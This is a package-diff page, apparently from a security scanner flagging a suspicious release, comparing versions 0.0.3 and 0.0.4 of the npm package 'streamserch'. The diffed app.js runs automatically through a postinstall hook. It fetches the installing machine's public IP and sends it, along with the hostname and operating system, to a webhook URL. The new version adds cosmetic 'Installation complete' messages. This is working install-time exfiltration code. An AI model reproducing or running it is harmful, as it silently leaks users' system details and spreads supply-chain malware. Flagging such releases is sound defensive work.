streamserch 0.0.3 → 0.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of streamserch might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +11 -5
  2. package/package.json +1 -2
package/app.js CHANGED
@@ -11,14 +11,20 @@ https.get('https://ipinfo.io/ip', (res) => {
11
11
  res.on('data', (chunk) => {
12
12
  data += chunk;
13
13
  });
14
+
14
15
  res.on('end', () => {
15
- base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}O:${operatingSystem}`;
16
+ base = `https://webhook-test.com/8caf20007640ce1a4d2843af7b479eb1?data=I:${data}&M:${machineName}&O:${operatingSystem}`;
17
+
16
18
  https.get(base, (res1) => {
17
- res.on('data', (chunk) => {
18
- });
19
- res.on('end', () => {
19
+ res1.on('data', () => { })
20
+ res1.on('end', () => {
21
+ console.log('Installation complete.');
20
22
  });
23
+ }).on('error', (e) => {
24
+ console.error(`Error with installation: ${e.message}`);
21
25
  });
22
26
  });
23
- });
24
27
 
28
+ }).on('error', (e) => {
29
+ console.error(`Error with request: ${e.message}`);
30
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "streamserch",
3
- "version": "0.0.3",
3
+ "version": "0.0.4",
4
4
  "description": "streamserch",
5
5
  "main": "app.js",
6
6
  "author": {
@@ -9,5 +9,4 @@
9
9
  "scripts": {
10
10
  "postinstall": "node app.js"
11
11
  }
12
-
13
12
  }